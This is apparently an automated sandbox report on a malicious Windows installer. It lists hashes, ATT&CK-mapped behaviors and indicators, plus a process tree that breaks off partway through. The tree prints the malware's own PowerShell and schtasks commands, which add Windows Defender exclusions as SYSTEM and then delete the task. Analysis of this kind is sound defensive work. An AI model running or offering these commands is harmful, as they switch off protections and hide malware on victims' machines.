b39e39232154a7290d3e9e3928fd40e4c4a4ca17991c124752c901b7056d5d3f

Analysis

max time kernel
143s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
16/09/2026, 07:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install_s.8.06.exe
Size 24.6MB
Sample260916-jpm95axbqa
SHA256 b39e39232154a7290d3e9e3928fd40e4c4a4ca17991c124752c901b7056d5d3f
MD5 bd7be616544f54ceaada95860ef8cd17
SHA1 d2120a5ef25468d1b14f00577634d186eb0fd73f
SHA512 bb61a9bc474d2cc7b0dd142a6f2c28854e313cdb6cd78d61e01a1269dfdcc161af1af571969fee256fb4a6e96c4ab1d2b111d61dd5f8e53bbbbcf640fb46413d
SSDEEP 98304:Ps0VysGFMb1oG4QOye2F3+CMkBZ76Ya227tn:ksyT/QMIHs
TLSH
T10047B59AB740CD83F517E23694679BF02326ECB48BB1934321917F59BF7E1898EE1184
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence privilege_escalation trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	o1NX3q.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	GrOcS3OF.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\v4Sbuu = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
616	powershell.exe
2128	powershell.exe
3528	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	o1NX3q.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
3492	icacls.exe
3272	icacls.exe
2748	icacls.exe
2928	icacls.exe
3688	icacls.exe
928	icacls.exe
5656	icacls.exe
3872	icacls.exe
4908	icacls.exe
2532	icacls.exe
5740	icacls.exe
3452	icacls.exe
5036	takeown.exe
2740	icacls.exe
3388	icacls.exe
5716	icacls.exe
1424	icacls.exe
3828	icacls.exe
3872	icacls.exe
4960	icacls.exe
2952	icacls.exe
5288	takeown.exe
3816	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 11 IoCs

pid	Process
2680	nrkfjc.exe
1932	nrkfjc.exe
4580	o1NX3q.exe
4896	o1NX3q.exe
2100	o1NX3q.exe
1808	Quna86.exe
4564	HB6rIfmK.exe
4276	GrOcS3OF.exe
2676	o1NX3q.exe
2564	Quna86.exe
2272	yHDc9ZDz.exe

Loads dropped DLL 8 IoCs

pid	Process
2680	nrkfjc.exe
1932	nrkfjc.exe
4580	o1NX3q.exe
4896	o1NX3q.exe
2100	o1NX3q.exe
1808	Quna86.exe
2676	o1NX3q.exe
2564	Quna86.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3872	icacls.exe
5740	icacls.exe
3452	icacls.exe
3816	icacls.exe
2928	icacls.exe
5656	icacls.exe
928	icacls.exe
2532	icacls.exe
4908	icacls.exe
1424	icacls.exe
2952	icacls.exe
2740	icacls.exe
5288	takeown.exe
3492	icacls.exe
3388	icacls.exe
3688	icacls.exe
5716	icacls.exe
4960	icacls.exe
5036	takeown.exe
3872	icacls.exe
3272	icacls.exe
2748	icacls.exe
3828	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\v4Sbuu\\nrkfjc.exe\""	nrkfjc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\3BKYDt\\o1NX3q.exe\""	o1NX3q.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
6100	cmd.exe
5376	cmd.exe
1136	cmd.exe
1764	cmd.exe
1832	cmd.exe
3704	cmd.exe
4944	cmd.exe
2412	cmd.exe
3172	cmd.exe
1556	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	nrkfjc.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c578-808.dat	upx
behavioral2/memory/4276-809-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral2/files/0x000d00000001c58f-866.dat	upx
behavioral2/memory/2272-867-0x00007FF764760000-0x00007FF764B8F000-memory.dmp	upx
behavioral2/memory/4276-871-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral2/memory/2272-893-0x00007FF764760000-0x00007FF764B8F000-memory.dmp	upx

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\1xY4y\thumbs.db	o1NX3q.exe
File opened for modification	C:\Program Files (x86)\1xY4y\thumbs.db	o1NX3q.exe
File created	C:\Program Files (x86)\3BKYDt\thumbs.db	nrkfjc.exe
File opened for modification	C:\Program Files (x86)\3BKYDt\thumbs.db	nrkfjc.exe
File created	C:\Program Files (x86)\1xY4y\image.png	o1NX3q.exe
File created	C:\Program Files (x86)\1xY4y\XPSPLOG.dll	o1NX3q.exe
File created	C:\Program Files (x86)\3BKYDt\o1NX3q.exe	nrkfjc.exe
File created	C:\Program Files (x86)\3BKYDt\XPSPLOG.dll	nrkfjc.exe
File created	C:\Program Files (x86)\3BKYDt\image.png	nrkfjc.exe
File opened for modification	C:\Program Files (x86)\1xY4y\image.png	o1NX3q.exe
File opened for modification	C:\Program Files (x86)\1xY4y\Quna86.exe	o1NX3q.exe
File opened for modification	C:\Program Files (x86)\3BKYDt	nrkfjc.exe
File opened for modification	C:\Program Files (x86)\3BKYDt\image.png	nrkfjc.exe
File opened for modification	C:\Program Files (x86)\1xY4y	o1NX3q.exe
File opened for modification	C:\Program Files (x86)\1xY4y\XPSPLOG.dll	o1NX3q.exe
File opened for modification	C:\Program Files (x86)\3BKYDt\o1NX3q.exe	nrkfjc.exe
File opened for modification	C:\Program Files (x86)\3BKYDt\XPSPLOG.dll	nrkfjc.exe
File created	C:\Program Files (x86)\1xY4y\Quna86.exe	o1NX3q.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2772	sc.exe
4924	sc.exe
6120	sc.exe
3436	sc.exe
964	sc.exe
4416	sc.exe
5704	sc.exe
5696	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	o1NX3q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaveActive = "0"	o1NX3q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\SCRNSAVE.EXE	o1NX3q.exe

Executes a command shell one-liner 1 TTPs 28 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1268	cmd.exe
5800	cmd.exe
1784	cmd.exe
4508	cmd.exe
2192	cmd.exe
2040	cmd.exe
5484	cmd.exe
1688	cmd.exe
2204	cmd.exe
908	cmd.exe
2732	cmd.exe
2992	cmd.exe
4844	cmd.exe
2104	cmd.exe
3472	cmd.exe
4820	cmd.exe
572	cmd.exe
5340	cmd.exe
1720	cmd.exe
2944	cmd.exe
6092	cmd.exe
1096	cmd.exe
3080	cmd.exe
6132	cmd.exe
2032	cmd.exe
484	cmd.exe
2092	cmd.exe
432	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	o1NX3q.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Quna86.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GrOcS3OF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	o1NX3q.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	o1NX3q.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	o1NX3q.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	o1NX3q.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaveActive = "0"	o1NX3q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	o1NX3q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	o1NX3q.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-650287814-2715975232-1279715623-1000\Control Panel\Desktop\SCRNSAVE.EXE	o1NX3q.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	GrOcS3OF.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	GrOcS3OF.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	GrOcS3OF.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	GrOcS3OF.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3100	schtasks.exe
5928	schtasks.exe
4504	schtasks.exe
1120	schtasks.exe
1140	schtasks.exe
4940	schtasks.exe
3888	schtasks.exe
2520	schtasks.exe
2988	schtasks.exe
3876	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
4232	install_s.8.06.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe
2680	nrkfjc.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 32 IoCs

description	pid	Process
Token: SeDebugPrivilege	616	powershell.exe
Token: SeIncreaseQuotaPrivilege	616	powershell.exe
Token: SeSecurityPrivilege	616	powershell.exe
Token: SeTakeOwnershipPrivilege	616	powershell.exe
Token: SeLoadDriverPrivilege	616	powershell.exe
Token: SeSystemProfilePrivilege	616	powershell.exe
Token: SeSystemtimePrivilege	616	powershell.exe
Token: SeProfSingleProcessPrivilege	616	powershell.exe
Token: SeIncBasePriorityPrivilege	616	powershell.exe
Token: SeCreatePagefilePrivilege	616	powershell.exe
Token: SeBackupPrivilege	616	powershell.exe
Token: SeRestorePrivilege	616	powershell.exe
Token: SeShutdownPrivilege	616	powershell.exe
Token: SeDebugPrivilege	616	powershell.exe
Token: SeSystemEnvironmentPrivilege	616	powershell.exe
Token: SeRemoteShutdownPrivilege	616	powershell.exe
Token: SeUndockPrivilege	616	powershell.exe
Token: SeManageVolumePrivilege	616	powershell.exe
Token: 33	616	powershell.exe
Token: 34	616	powershell.exe
Token: 35	616	powershell.exe
Token: 36	616	powershell.exe
Token: SeRestorePrivilege	4580	o1NX3q.exe
Token: SeDebugPrivilege	4564	HB6rIfmK.exe
Token: SeLockMemoryPrivilege	2272	yHDc9ZDz.exe
Token: SeLockMemoryPrivilege	2272	yHDc9ZDz.exe
Token: SeDebugPrivilege	2128	powershell.exe
Token: SeTakeOwnershipPrivilege	5036	takeown.exe
Token: SeRestorePrivilege	2740	icacls.exe
Token: SeTakeOwnershipPrivilege	5288	takeown.exe
Token: SeRestorePrivilege	3272	icacls.exe
Token: SeDebugPrivilege	3528	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4276	GrOcS3OF.exe
4276	GrOcS3OF.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 616	2680	nrkfjc.exe	89
PID 2680 wrote to memory of 1764	2680	nrkfjc.exe	91
PID 1764 wrote to memory of 4504	1764	cmd.exe	93
PID 1764 wrote to memory of 5768	1764	cmd.exe	94
PID 1764 wrote to memory of 6024	1764	cmd.exe	99
PID 2680 wrote to memory of 1556	2680	nrkfjc.exe	102
PID 2680 wrote to memory of 6100	2680	nrkfjc.exe	104
PID 1556 wrote to memory of 3876	1556	cmd.exe	106
PID 6100 wrote to memory of 1120	6100	cmd.exe	107
PID 2680 wrote to memory of 1832	2680	nrkfjc.exe	108
PID 6100 wrote to memory of 4716	6100	cmd.exe	110
PID 1556 wrote to memory of 3632	1556	cmd.exe	111
PID 1832 wrote to memory of 3100	1832	cmd.exe	113
PID 6100 wrote to memory of 5704	6100	cmd.exe	114
PID 1556 wrote to memory of 3828	1556	cmd.exe	115
PID 1832 wrote to memory of 2740	1832	cmd.exe	116
PID 2680 wrote to memory of 5376	2680	nrkfjc.exe	117
PID 5376 wrote to memory of 1140	5376	cmd.exe	119
PID 1832 wrote to memory of 1172	1832	cmd.exe	120
PID 5376 wrote to memory of 5268	5376	cmd.exe	121
PID 5376 wrote to memory of 4916	5376	cmd.exe	125
PID 2032 wrote to memory of 2820	2032	cmd.exe	126
PID 572 wrote to memory of 2092	572	cmd.exe	127
PID 2204 wrote to memory of 6028	2204	cmd.exe	129
PID 2680 wrote to memory of 4580	2680	nrkfjc.exe	130
PID 4580 wrote to memory of 2192	4580	o1NX3q.exe	135
PID 4580 wrote to memory of 484	4580	o1NX3q.exe	136
PID 4580 wrote to memory of 908	4580	o1NX3q.exe	138
PID 4580 wrote to memory of 1720	4580	o1NX3q.exe	141
PID 4580 wrote to memory of 5340	4580	o1NX3q.exe	143
PID 484 wrote to memory of 3492	484	cmd.exe	145
PID 4580 wrote to memory of 2732	4580	o1NX3q.exe	146
PID 2732 wrote to memory of 3388	2732	cmd.exe	148
PID 4580 wrote to memory of 1096	4580	o1NX3q.exe	149
PID 1096 wrote to memory of 3688	1096	cmd.exe	151
PID 4580 wrote to memory of 1784	4580	o1NX3q.exe	152
PID 1784 wrote to memory of 928	1784	cmd.exe	154
PID 4580 wrote to memory of 5800	4580	o1NX3q.exe	155
PID 5800 wrote to memory of 3828	5800	cmd.exe	157
PID 4580 wrote to memory of 6092	4580	o1NX3q.exe	158
PID 6092 wrote to memory of 2928	6092	cmd.exe	160
PID 4580 wrote to memory of 3472	4580	o1NX3q.exe	161
PID 3472 wrote to memory of 1424	3472	cmd.exe	163
PID 4580 wrote to memory of 2040	4580	o1NX3q.exe	164
PID 2040 wrote to memory of 2532	2040	cmd.exe	166
PID 4580 wrote to memory of 2104	4580	o1NX3q.exe	167
PID 2104 wrote to memory of 3816	2104	cmd.exe	169
PID 4580 wrote to memory of 4844	4580	o1NX3q.exe	170
PID 4844 wrote to memory of 3872	4844	cmd.exe	172
PID 4580 wrote to memory of 1268	4580	o1NX3q.exe	173
PID 1268 wrote to memory of 4960	1268	cmd.exe	175
PID 4580 wrote to memory of 432	4580	o1NX3q.exe	176
PID 432 wrote to memory of 4908	432	cmd.exe	178
PID 4580 wrote to memory of 2944	4580	o1NX3q.exe	179
PID 2944 wrote to memory of 3452	2944	cmd.exe	181
PID 4580 wrote to memory of 2092	4580	o1NX3q.exe	182
PID 2092 wrote to memory of 5740	2092	cmd.exe	184
PID 4580 wrote to memory of 2992	4580	o1NX3q.exe	185
PID 2992 wrote to memory of 5716	2992	cmd.exe	187
PID 4580 wrote to memory of 2128	4580	o1NX3q.exe	193
PID 4580 wrote to memory of 3704	4580	o1NX3q.exe	196
PID 4580 wrote to memory of 4508	4580	o1NX3q.exe	195
PID 4508 wrote to memory of 3736	4508	cmd.exe	199
PID 3704 wrote to memory of 4940	3704	cmd.exe	200

System policy modification 1 TTPs 4 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	o1NX3q.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	o1NX3q.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	GrOcS3OF.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	GrOcS3OF.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_s.8.06.exe
"C:\Users\Admin\AppData\Local\Temp\install_s.8.06.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4232

C:\Users\Public\v4Sbuu\nrkfjc.exe
"C:\Users\Public\v4Sbuu\nrkfjc.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\v4Sbuu\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1764
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\v4Sbuu\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5768
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1556
- - C:\Windows\system32\schtasks.exe
